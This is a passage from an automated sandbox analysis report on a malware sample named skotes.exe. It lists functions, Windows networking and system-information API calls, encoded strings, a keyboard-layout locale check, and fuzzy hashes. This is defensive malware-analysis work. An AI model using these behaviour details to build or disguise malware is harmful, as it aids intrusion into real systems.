Opcode Fuzzy Hash: 03141fe3900f9d261423673a6681466cad9f3b388d401fb0ee41c57508eecf9d
Instruction Fuzzy Hash: 990192FB10C070BE7245C1C13F59AFA67AED5C57303308857F442D4882D2D90E6E5932

Function 053E03E8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c4bce4805ae53c4183eaa4150f0330f23cc801d3a456c7deaf149fc5f9231c
Instruction ID: 704ae9fcd966a3f54f82f6fa4155ed7b9f5ef4801947abfe1db6be580ccc50e5
Opcode Fuzzy Hash: a4c4bce4805ae53c4183eaa4150f0330f23cc801d3a456c7deaf149fc5f9231c
Instruction Fuzzy Hash: C7F0A5BB10C121AE7154C5823B69EFA63AEE5D4B31371C82BF442D0846D29989AA5932

Function 053E03FC Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6ce1c8c4185ecdf7121967be944c07938834c91d814fe0b3b70aabbc2048fe
Instruction ID: a805e58cb8b2733e6bc2d48eb10d30336102a519d9b42e42144a6a81de0c90bc
Opcode Fuzzy Hash: ee6ce1c8c4185ecdf7121967be944c07938834c91d814fe0b3b70aabbc2048fe
Instruction Fuzzy Hash: EDF0827760C1219E6218D5923769AFA63EEE4C0730731843BF043C2842D799456E5932

Function 053E0425 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e3aacd809fb4c2bbb1908f0021f809fa4c4363b5d4e19559961783dd1b1b1b
Instruction ID: a2fe4d791ae68efe68f7f3d810bbad695d17a997468dddae5f9616139cd1d08b
Opcode Fuzzy Hash: 83e3aacd809fb4c2bbb1908f0021f809fa4c4363b5d4e19559961783dd1b1b1b
Instruction Fuzzy Hash: F9D017BB10C020AE7154D5C63B2DAFA63FEE5D0730732C82BF082C0882D69849AE5D33

Function 053E043E Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a6b01746541b4a9e822988fdbc15703aef0a553f8e4405e685b3f0a6fee2481
Instruction ID: 85e474458748ef12fbba224601ab848e7d8b920fce9c9221b1f78263f1e3c539
Opcode Fuzzy Hash: 8a6b01746541b4a9e822988fdbc15703aef0a553f8e4405e685b3f0a6fee2481
Instruction Fuzzy Hash: 17D0C9BB10C020BD30A4D5823B1DBFB63AEE0D0A31371C817F442D1C82E689496D6971

Non-executed Functions

Function 053E058C Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

KC, xrefs: 053E0769

Memory Dump Source

Source File: 00000000.00000002.2196211083.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53e0000_file.jbxd

Similarity

API ID:
String ID: KC
API String ID: 0-1422302447
Opcode ID: 7d319a7fb1c0caaa8c2c11ea6a10d7916f8035d10624613884737bd6a3853f4b
Instruction ID: c5bab1981966980baec37b7d26d41380137e82d081df5162cd50ce6704b3c390
Opcode Fuzzy Hash: 7d319a7fb1c0caaa8c2c11ea6a10d7916f8035d10624613884737bd6a3853f4b
Instruction Fuzzy Hash: 174191EB24C231BD7106C5522F5CAFB6BAEE5C7730334843AF846C69C2E2D84E4A5172

Analysis Process: skotes.exePID: 5588, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	347
Total number of Limit Nodes:	10

Executed Functions

Function 00D6BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC), ref: 00D6BEB8
InternetOpenW.WININET(00DB8DC8,00000000,00000000,00000000,00000000), ref: 00D6BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D6BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00D6BF36
HttpSendRequestA.WININET(?,00000000), ref: 00D6BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00D6C0A8
InternetCloseHandle.WININET(?), ref: 00D6C187
InternetCloseHandle.WININET(?), ref: 00D6C18F
InternetCloseHandle.WININET(?), ref: 00D6C197

Strings

stoi argument out of range, xrefs: 00D6E4EA
RE1NXF==, xrefs: 00D6BF0E
RmNn, xrefs: 00D6D606
8HJUeIfzLo==, xrefs: 00D6C3CB, 00D6C623
invalid stoi argument, xrefs: 00D6E4F4
8HJUeMD Lq5=, xrefs: 00D6C465

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 00c1335ed0b2aa781634118692d474fea64d90b33bc755316ca7a9f46ca56be0
Instruction ID: 15b624b952b2ade46a41d025a950956a0ebb171a2275fbd713cad6ea5aa820fb
Opcode Fuzzy Hash: 00c1335ed0b2aa781634118692d474fea64d90b33bc755316ca7a9f46ca56be0
Instruction Fuzzy Hash: ECB1E3B06102189FDB28CF28CC84BAEBBB5EF45304F5085A9F549972D1DB759AC4CBB4

Function 00D747B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00D77A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00D77AEC
Part of subcall function 00D77A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00D77AF8
Part of subcall function 00D77A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00D77B01

Part of subcall function 00D6BE30: Sleep.KERNELBASE(000005DC), ref: 00D6BEB8
Part of subcall function 00D6BE30: InternetOpenW.WININET(00DB8DC8,00000000,00000000,00000000,00000000), ref: 00D6BEC7
Part of subcall function 00D6BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D6BEEC
Part of subcall function 00D6BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00D6BF36

std::_Xinvalid_argument.LIBCPMT ref: 00D74F92

Strings

MGI+, xrefs: 00D748AD, 00D749DC, 00D74BCC, 00D74CFB
8WI0, xrefs: 00D75692
jS=, xrefs: 00D76513, 00D767E2
2I0, xrefs: 00D75627
9250, xrefs: 00D754AD
93E0, xrefs: 00D75600
246122658369, xrefs: 00D7502A, 00D7503D, 00D7507F, 00D75089, 00D75684
GE0, xrefs: 00D75585
WGS0, xrefs: 00D75533
Vmc0, xrefs: 00D755D7
VXA0, xrefs: 00D755AE
anE0, xrefs: 00D7566B
KCWUOl==, xrefs: 00D75649
stoi argument out of range, xrefs: 00D74359, 00D74F9C
3I3eB==, xrefs: 00D74802
VXQ0, xrefs: 00D7550A
Fw==, xrefs: 00D7378E, 00D74E1D
MGE+, xrefs: 00D74866, 00D748DD, 00D74B85, 00D74BFC
aWW0, xrefs: 00D7555C
9c9aa5, xrefs: 00D75619
9HQ0, xrefs: 00D754E1

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 5edc225660627690c17763df9460d7e4ff1234299d16e28afcb5518b2c6c638e
Instruction ID: d465746c53e972d8415348ea992ce9bd9b8b0a6bc5aebf2c1a4b5770cc6c42a9
Opcode Fuzzy Hash: 5edc225660627690c17763df9460d7e4ff1234299d16e28afcb5518b2c6c638e
Instruction Fuzzy Hash: FC23E271A002588BEB19DB28CD8979DBBB6DF81304F54C1D8E04DA7286FB759B848F71

Function 00D65EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00D66098
Keyboard Layout\Preload, xrefs: 00D66054
0000043f, xrefs: 00D6612B
00000422, xrefs: 00D660C9
00000423, xrefs: 00D660FA

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: dcda553cd86e8fced8a84f8f1c6eee9441769f40f4c3b085db820e2fbdb16682
Instruction ID: 08b1200775e39ad112b7fb0e656a4ba1c1e6d16f3632bdfc22ff27c74ed2f464
Opcode Fuzzy Hash: dcda553cd86e8fced8a84f8f1c6eee9441769f40f4c3b085db820e2fbdb16682
Instruction Fuzzy Hash: 8DD1A1719002589BEB24DF54CC89BDEB7B9EF04300F5442D9F509E7291DB74ABA88FA4

Function 00D67D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D67ED3

Strings

JjssOl==, xrefs: 00D6813A
JjssPV==, xrefs: 00D681E2
JjsrQV==, xrefs: 00D68092
JjsrPl==, xrefs: 00D6828A

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 43371ff447e4123cae7d62aafe376e29917b015d64891903145be2f69d16a21d
Instruction ID: 369600cad772916844ed5a9073171200601ab90a1e818b120af96274790d9bbf
Opcode Fuzzy Hash: 43371ff447e4123cae7d62aafe376e29917b015d64891903145be2f69d16a21d
Instruction Fuzzy Hash: A8E10670E002459BDB24BB28DC0B7AD7B61EB41724F94469CE419A73C2EF354E958BF2

Function 00D9D634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 272613a6458b16905feab86ce495901f4269570ef7a7cc90f26e31cbe6471323
Instruction ID: 140653a47ecf41257d512bd862fcb99344c6847f8eb4ee9143c23eaea9ea5a45
Opcode Fuzzy Hash: 272613a6458b16905feab86ce495901f4269570ef7a7cc90f26e31cbe6471323
Instruction Fuzzy Hash: E961E432D002189FDF25EFA8D8856EDB7B2EF55310F2D811AE85AAB251D7319C40CBB1

Function 00D68380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00D68524

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e1f04c2db16270607995af576a70337b2bb7102db5cfcff051183d2dbe64c5d1
Instruction ID: b6d0cdac38da05d38407e971fcc65959b3c61d945fb598f9ef3dff3ced3e0c0d
Opcode Fuzzy Hash: e1f04c2db16270607995af576a70337b2bb7102db5cfcff051183d2dbe64c5d1
Instruction Fuzzy Hash: 88512770D002089BDB28EB68CD49BDEB775EB45310F5043A9E409A72C1EF759EC48BB1

Function 00D9D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00D9A72D,?,?,?,00D9666A,?,00D66F28,00000000,00000000,766545D9), ref: 00D9D871

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bb7972932e1d79e6c520ae4df9a26e9de137af6bc4f1a6cc6baf320b0341118a
Instruction ID: 529448660cd70286f8c56eccca032d01fa0d8de8cbae87382c0c87504df66464
Opcode Fuzzy Hash: bb7972932e1d79e6c520ae4df9a26e9de137af6bc4f1a6cc6baf320b0341118a
Instruction Fuzzy Hash: 71F0823261522566EF216A769C05A5B775BDF857B0B1D8522FD08A7183DA30EC01D6F0

Function 053E0C64 Relevance: 1.4, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S, xrefs: 053E0D1C

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-543223747
Opcode ID: 48d398562ca938e7a7d280e84cba225475ffdd211cfb9bba989cf0d1ce54b4a4
Instruction ID: bee0889bd6b8da21d9db3af1773e06fb4bc749d8b8cffe93967975a60ac1f961
Opcode Fuzzy Hash: 48d398562ca938e7a7d280e84cba225475ffdd211cfb9bba989cf0d1ce54b4a4
Instruction Fuzzy Hash: 5631F6BB14D2A0AEE306C6515A585F77FF9EAC323033444B7F442DB882D2D5590E9332

Function 053E0CD1 Relevance: 1.3, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S, xrefs: 053E0D1C

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-543223747
Opcode ID: 6e09dd41f8587a47bf1163673bd5a90087c0fdc09e6da21ab5117bd7414ba7a6
Instruction ID: e827686804826d22685c0d65fe67c542c60446cac0c5a92f028ac7dfb0256298
Opcode Fuzzy Hash: 6e09dd41f8587a47bf1163673bd5a90087c0fdc09e6da21ab5117bd7414ba7a6
Instruction Fuzzy Hash: FC11E97B50D2A09EE312C65159685F77BFDE9C373033444BBF441CB497D299190A9332

Function 00D76C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00D76CF5

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a83ddecbaf3902828a2b7deaa69de54276efea35650a7775f3e1b492282edd1b
Instruction ID: 947babc874f07f80f9aafaacbed5773231e6deae8818dd22613e86091969efa8
Opcode Fuzzy Hash: a83ddecbaf3902828a2b7deaa69de54276efea35650a7775f3e1b492282edd1b
Instruction Fuzzy Hash: F6F0A471A00615EBCB15BB789D03B1EBB74EB06760F804758E825673D5FB705A1487F2

Function 053E0D01 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2881a66ff95bb663feb0d94530b7b5ea0aab313dee7181f64d3437b2a8891f
Instruction ID: f5ac0c564a2e1d0314259b5b459ac03c0fbd22034b01dd123fbfe0e3805e2921
Opcode Fuzzy Hash: 7f2881a66ff95bb663feb0d94530b7b5ea0aab313dee7181f64d3437b2a8891f
Instruction Fuzzy Hash: 45F017FF14C121BD7145C1866B68AFB67EEE1C1B303308827F487C6981D6E45D49A632

Function 053E0D34 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c9911472f3fb4725e714e025abb63d008ec2d17e3c50b219b6ad8df86e118d
Instruction ID: fe6bf68571545782b90ae92d9f6595c48e7983099b6360617e78235d85d81bfd
Opcode Fuzzy Hash: a4c9911472f3fb4725e714e025abb63d008ec2d17e3c50b219b6ad8df86e118d
Instruction Fuzzy Hash: 62F015FF14C034BC7055C0823B28AFB67AEE0C0A303B08827F446C1881D2D95A4E2672

Function 053E0DBA Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d8d0fc18f6e4867a563e6c7fcfc5bf3c0f28d57214e96fefe6f0ebab5b8118
Instruction ID: 467f4550b515e04eb3df03c215d5a8ab236df98923220524e2650a7d4b9bf4c5
Opcode Fuzzy Hash: e5d8d0fc18f6e4867a563e6c7fcfc5bf3c0f28d57214e96fefe6f0ebab5b8118
Instruction Fuzzy Hash: B0F082BB10C161AEF515C1917E2DBFB67AEE6C17347309927F483C1482D2D5514E5232

Function 053E0D3D Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3382973415.00000000053E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

